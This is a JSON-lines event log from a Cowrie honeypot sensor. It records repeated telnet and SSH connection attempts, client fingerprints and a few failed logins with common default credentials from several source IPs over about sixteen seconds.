{"eventid":"cowrie.session.closed","duration":31.180052042007446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:03.380559Z","src_ip":"185.111.235.80","session":"2420445a53bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"20d77438bdb7","protocol":"telnet","message":"New connection: 185.111.235.80:59636 (10.17.0.5:23) [session: 20d77438bdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:03.584588Z"}
{"eventid":"cowrie.session.closed","duration":31.479367971420288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:03.589859Z","src_ip":"185.111.235.80","session":"2270877876bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f1ce054bd4","protocol":"telnet","message":"New connection: 108.61.242.114:45310 (10.17.0.5:23) [session: 63f1ce054bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:03.690771Z"}
{"eventid":"cowrie.session.closed","duration":31.70819616317749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:03.807835Z","src_ip":"108.61.242.114","session":"75b3607630e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148832321166992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:03.962182Z","src_ip":"185.111.235.80","session":"cb46b9c1c34e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45312,"dst_ip":"10.17.0.5","dst_port":23,"session":"96fdc4152554","protocol":"telnet","message":"New connection: 108.61.242.114:45312 (10.17.0.5:23) [session: 96fdc4152554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:04.309374Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25c44a88ccd","protocol":"telnet","message":"New connection: 108.61.242.114:45328 (10.17.0.5:23) [session: e25c44a88ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:04.445646Z"}
{"eventid":"cowrie.session.closed","duration":31.412286281585693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:04.962394Z","src_ip":"108.61.242.114","session":"47fb4ba0c33b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5387065410614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:05.043909Z","src_ip":"185.111.235.80","session":"204aee727f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966047525405884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:05.323038Z","src_ip":"185.111.235.80","session":"8fe56b19f3a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146244525909424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:05.358383Z","src_ip":"185.111.235.80","session":"f3f2ab3512e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33496117591858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:05.374830Z","src_ip":"185.111.235.80","session":"b6dc48df8107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45338,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3022f617be7","protocol":"telnet","message":"New connection: 108.61.242.114:45338 (10.17.0.5:23) [session: e3022f617be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:05.568922Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43510,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3e49bbaa9d","protocol":"telnet","message":"New connection: 185.111.235.80:43510 (10.17.0.5:23) [session: 2c3e49bbaa9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:06.183633Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41164,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a65a8f9cab4","protocol":"ssh","message":"New connection: 176.65.139.103:41164 (10.17.0.5:22) [session: 7a65a8f9cab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.189257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.194070Z","src_ip":"176.65.139.103","session":"7a65a8f9cab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45340,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7934fec0442","protocol":"telnet","message":"New connection: 108.61.242.114:45340 (10.17.0.5:23) [session: c7934fec0442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.197652Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.277734Z","src_ip":"176.65.139.103","session":"7a65a8f9cab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.778327703475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.524843Z","src_ip":"108.61.242.114","session":"b451ab063caa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.853819Z","src_ip":"176.65.139.103","session":"7a65a8f9cab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.3465895652771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:07.880092Z","src_ip":"185.111.235.80","session":"68be2c5ff2cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642481327056885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:08.045651Z","src_ip":"185.111.235.80","session":"60c3578a7a35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34812,"dst_ip":"10.17.0.5","dst_port":23,"session":"259b3f39d0fe","protocol":"telnet","message":"New connection: 108.61.242.114:34812 (10.17.0.5:23) [session: 259b3f39d0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:08.626768Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:08.950007Z","src_ip":"176.65.139.103","session":"7a65a8f9cab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61384606361389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:09.165236Z","src_ip":"117.120.7.112","session":"f33537adf104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55342,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b97802de86","protocol":"telnet","message":"New connection: 185.111.235.80:55342 (10.17.0.5:23) [session: 42b97802de86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:09.761459Z"}
{"eventid":"cowrie.session.closed","duration":30.272118091583252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:09.972022Z","src_ip":"185.111.235.80","session":"72c5a5f4e90e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":32808,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fb1da5fa175","protocol":"telnet","message":"New connection: 185.111.235.80:32808 (10.17.0.5:23) [session: 5fb1da5fa175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:10.077760Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34816,"dst_ip":"10.17.0.5","dst_port":23,"session":"d362df3d01de","protocol":"telnet","message":"New connection: 108.61.242.114:34816 (10.17.0.5:23) [session: d362df3d01de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:10.123480Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32135c0739e","protocol":"telnet","message":"New connection: 185.111.235.80:33152 (10.17.0.5:23) [session: b32135c0739e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:10.128944Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58180,"dst_ip":"10.17.0.5","dst_port":23,"session":"e45341dfb272","protocol":"telnet","message":"New connection: 185.111.235.80:58180 (10.17.0.5:23) [session: e45341dfb272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:10.350882Z"}
{"eventid":"cowrie.session.closed","duration":31.60336947441101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:10.670244Z","src_ip":"185.111.235.80","session":"403646d0fc06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207602500915527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:10.711157Z","src_ip":"108.61.242.114","session":"59adf1d4109f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25838828086853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:11.209308Z","src_ip":"185.111.235.80","session":"dac555feddee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53612,"dst_ip":"10.17.0.5","dst_port":23,"session":"69aa985f1f25","protocol":"telnet","message":"New connection: 185.111.235.80:53612 (10.17.0.5:23) [session: 69aa985f1f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:11.426599Z"}
{"eventid":"cowrie.session.closed","duration":31.142296314239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:11.985072Z","src_ip":"185.111.235.80","session":"788cc490858d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41902,"dst_ip":"10.17.0.5","dst_port":23,"session":"7323cc858a0a","protocol":"telnet","message":"New connection: 185.111.235.80:41902 (10.17.0.5:23) [session: 7323cc858a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:12.085847Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34830,"dst_ip":"10.17.0.5","dst_port":23,"session":"3394b101e52c","protocol":"telnet","message":"New connection: 108.61.242.114:34830 (10.17.0.5:23) [session: 3394b101e52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:12.448021Z"}
{"eventid":"cowrie.session.closed","duration":30.63370990753174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:13.274638Z","src_ip":"108.61.242.114","session":"6987fa6684f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98258638381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:13.883508Z","src_ip":"185.111.235.80","session":"5d30dac65fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38510,"dst_ip":"10.17.0.5","dst_port":22,"session":"be8270469cd7","protocol":"ssh","message":"New connection: 176.65.139.103:38510 (10.17.0.5:22) [session: be8270469cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:14.475028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:14.506048Z","src_ip":"176.65.139.103","session":"be8270469cd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:14.562908Z","src_ip":"176.65.139.103","session":"be8270469cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:14.890553Z","src_ip":"176.65.139.103","session":"be8270469cd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"00bf8007e0ad","protocol":"telnet","message":"New connection: 108.61.242.114:34840 (10.17.0.5:23) [session: 00bf8007e0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:15.527559Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57642,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d14f4ed048","protocol":"telnet","message":"New connection: 185.111.235.80:57642 (10.17.0.5:23) [session: 00d14f4ed048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:15.626228Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34842,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e44cc4d092","protocol":"telnet","message":"New connection: 108.61.242.114:34842 (10.17.0.5:23) [session: e6e44cc4d092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:15.756234Z"}
{"eventid":"cowrie.session.closed","duration":30.84610676765442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:15.891432Z","src_ip":"185.111.235.80","session":"b54e5348a4a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:16.060446Z","src_ip":"176.65.139.103","session":"be8270469cd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34864,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae47627aa5c","protocol":"telnet","message":"New connection: 108.61.242.114:34864 (10.17.0.5:23) [session: 1ae47627aa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:16.159337Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48110,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6bf330aaf1","protocol":"telnet","message":"New connection: 185.111.235.80:48110 (10.17.0.5:23) [session: 7b6bf330aaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:16.525991Z"}
{"eventid":"cowrie.session.closed","duration":31.414188861846924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:16.563161Z","src_ip":"185.111.235.80","session":"6f90ebb94f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34146,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a2f02fe2ef","protocol":"telnet","message":"New connection: 185.111.235.80:34146 (10.17.0.5:23) [session: 84a2f02fe2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:16.682237Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34876,"dst_ip":"10.17.0.5","dst_port":23,"session":"8432578acd43","protocol":"telnet","message":"New connection: 108.61.242.114:34876 (10.17.0.5:23) [session: 8432578acd43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:16.693474Z"}
{"eventid":"cowrie.session.closed","duration":30.894073247909546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.044824Z","src_ip":"108.61.242.114","session":"639c7106ca98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2270da0e20","protocol":"telnet","message":"New connection: 185.111.235.80:51068 (10.17.0.5:23) [session: 1d2270da0e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.164958Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34854,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ae4a2d5141","protocol":"telnet","message":"New connection: 108.61.242.114:34854 (10.17.0.5:23) [session: a7ae4a2d5141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.173300Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34866,"dst_ip":"10.17.0.5","dst_port":23,"session":"8573740b3f64","protocol":"telnet","message":"New connection: 108.61.242.114:34866 (10.17.0.5:23) [session: 8573740b3f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.177030Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d149ae8ffbd","protocol":"telnet","message":"New connection: 108.61.242.114:34890 (10.17.0.5:23) [session: 3d149ae8ffbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.241824Z"}
{"eventid":"cowrie.session.closed","duration":31.42483401298523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.454151Z","src_ip":"108.61.242.114","session":"0d415ef428d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.292680978775024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.466792Z","src_ip":"185.111.235.80","session":"dc76a6c53a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37708,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe07e51f11e3","protocol":"telnet","message":"New connection: 185.111.235.80:37708 (10.17.0.5:23) [session: fe07e51f11e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:17.475349Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35594,"dst_ip":"10.17.0.5","dst_port":23,"session":"523aae7624d1","protocol":"telnet","message":"New connection: 185.111.235.80:35594 (10.17.0.5:23) [session: 523aae7624d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:18.037467Z"}
{"eventid":"cowrie.session.closed","duration":30.884767532348633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:18.172130Z","src_ip":"185.111.235.80","session":"19f26fdf1001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b99c44caa3","protocol":"telnet","message":"New connection: 108.61.242.114:60752 (10.17.0.5:23) [session: 84b99c44caa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:18.414327Z"}
{"eventid":"cowrie.session.closed","duration":30.74286413192749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:18.887546Z","src_ip":"185.111.235.80","session":"0e53cdef78b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741427183151245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:18.892116Z","src_ip":"185.111.235.80","session":"f0b130b0f759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.339573860168457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:18.933905Z","src_ip":"185.111.235.80","session":"41f7192e61fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5035013ec9b","protocol":"telnet","message":"New connection: 108.61.242.114:60764 (10.17.0.5:23) [session: d5035013ec9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:19.517848Z"}
{"eventid":"cowrie.session.closed","duration":31.288982152938843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:19.593357Z","src_ip":"108.61.242.114","session":"2da89393c52b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60778,"dst_ip":"10.17.0.5","dst_port":23,"session":"2811efaaa061","protocol":"telnet","message":"New connection: 108.61.242.114:60778 (10.17.0.5:23) [session: 2811efaaa061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:19.782981Z"}
